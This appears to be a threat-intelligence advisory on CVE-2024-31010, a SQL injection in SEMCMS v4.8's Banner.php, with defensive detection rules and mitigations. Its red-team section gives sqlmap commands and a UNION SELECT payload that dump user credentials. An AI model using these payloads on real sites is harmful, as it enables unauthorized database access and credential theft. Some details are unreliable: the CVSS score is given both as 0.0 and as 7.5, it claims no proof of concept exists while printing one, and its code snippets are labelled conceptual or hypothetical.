CVE-2024-31010

Executive Summary

CVE-2024-31010 is a critical SQL injection vulnerability identified in SEMCMS v4.8, a PHP-based content management system. The flaw resides in the Banner.php script, specifically within the ID parameter, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. Successful exploitation can lead to unauthorized access to sensitive database information, including user credentials, session data, and other confidential records. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the vector, it poses a high confidentiality impact. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not provided a patch, leaving all instances of SEMCMS v4.8 at risk.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby) but is a direct web application issue. Organizations using SEMCMS should treat it as a high-risk component in their software supply chain, as the vendor has not responded to disclosure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The low attack complexity and lack of authentication make this an attractive target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the Banner.php file. The ID parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can manipulate the ID parameter to break out of the intended SQL syntax and execute arbitrary queries.

Vulnerable Code Snippet (Conceptual):

$id = $_GET['ID'];
$query = "SELECT * FROM banners WHERE id = $id";
$result = mysqli_query($conn, $query);

Exploitation Mechanics:

1. The attacker sends a crafted HTTP GET request to Banner.php with a malicious ID parameter.
2. The injected SQL payload (e.g., 1 UNION SELECT username,password FROM users) is executed by the database.
3. The result is returned in the HTTP response, leaking sensitive data.

Impact: Full read access to the database, including user tables, configuration data, and potentially other databases on the same server.

Vulnerable vs. Patched Code

Vulnerable Code (SEMCMS v4.8):

$id = $_GET['ID'];
$sql = "SELECT * FROM semcms_banner WHERE bannerID = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

$id = intval($_GET['ID']);
$sql = "SELECT * FROM semcms_banner WHERE bannerID = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

Key Differences:

• The patched version uses intval() to cast the input to an integer, preventing non-numeric injection.
• It employs prepared statements with parameterized queries, which inherently separate SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: SEMCMS v4.8 running on Apache/Nginx with PHP and MySQL.
• Attacker: Kali Linux with SQLMap and Burp Suite.

Exploitation Steps:

1. Reconnaissance: Identify the vulnerable endpoint:

   http://target.com/Banner.php?ID=1
   

2. Manual Injection: Test for SQLi by appending a single quote:

   http://target.com/Banner.php?ID=1'
   

   If an error is returned, the endpoint is vulnerable.
3. Automated Exploitation with SQLMap:

   sqlmap -u "http://target.com/Banner.php?ID=1" --batch --dbs
   

4. Data Extraction:

   sqlmap -u "http://target.com/Banner.php?ID=1" -D semcms_db --tables
   sqlmap -u "http://target.com/Banner.php?ID=1" -D semcms_db -T users --dump
   

Example Payload:

http://target.com/Banner.php?ID=1 UNION SELECT 1,2,3,group_concat(username,0x3a,password),5,6 FROM semcms_users

Blue Team (Defensive)

Detection & Response:

1. Web Application Firewall (WAF) Rules: Block requests containing SQL keywords in the ID parameter.
2. Input Validation: Ensure all user inputs are validated and sanitized server-side.
3. Database Monitoring: Monitor for unusual queries or error messages in database logs.
4. Immediate Mitigation: If patching is not possible, disable the Banner.php endpoint or restrict access via .htaccess:

   <Files "Banner.php">
       Require all denied
   </Files>
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /Banner.php with ID parameter containing SQL keywords (e.g., UNION, SELECT, OR 1=1).
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified Banner.php file (if attacker uploads a webshell).
  • Suspicious entries in web server access logs with long ID parameter values.
• Database IOCs:
  • Unexpected queries in MySQL general log.
  • New user accounts or altered data in semcms_users table.

Detection Engineering

YARA Rule

rule CVE_2024_31010_SQLi_SEMCMS {
    meta:
        description = "Detects SQL injection attempts targeting SEMCMS Banner.php ID parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31010"
    strings:
        $sqli1 = "ID=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR " nocase
        $sqli5 = "1=1" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against SEMCMS Banner.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the ID parameter in SEMCMS Banner.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31010
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "ID="
            - "UNION"
            - "SELECT"
            - "OR "
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31010 SEMCMS SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/Banner.php"; http_uri; content:"ID="; http_uri; pcre:"/ID=.*(UNION|SELECT|OR\s+1=1)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Banner.php: If the banner functionality is not critical, remove or disable the Banner.php file.
2. Input Sanitization: Apply strict input validation to the ID parameter (e.g., only allow numeric values).
3. Web Application Firewall: Deploy a WAF with rules to block SQL injection patterns.
4. Database Hardening: Use a database user with minimal privileges (e.g., read-only for the application).

Long-Term Fix:

• Migrate to a supported CMS or apply a custom patch using prepared statements.
• Monitor vendor channels for any official update (unlikely given vendor unresponsiveness).

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters-it.com.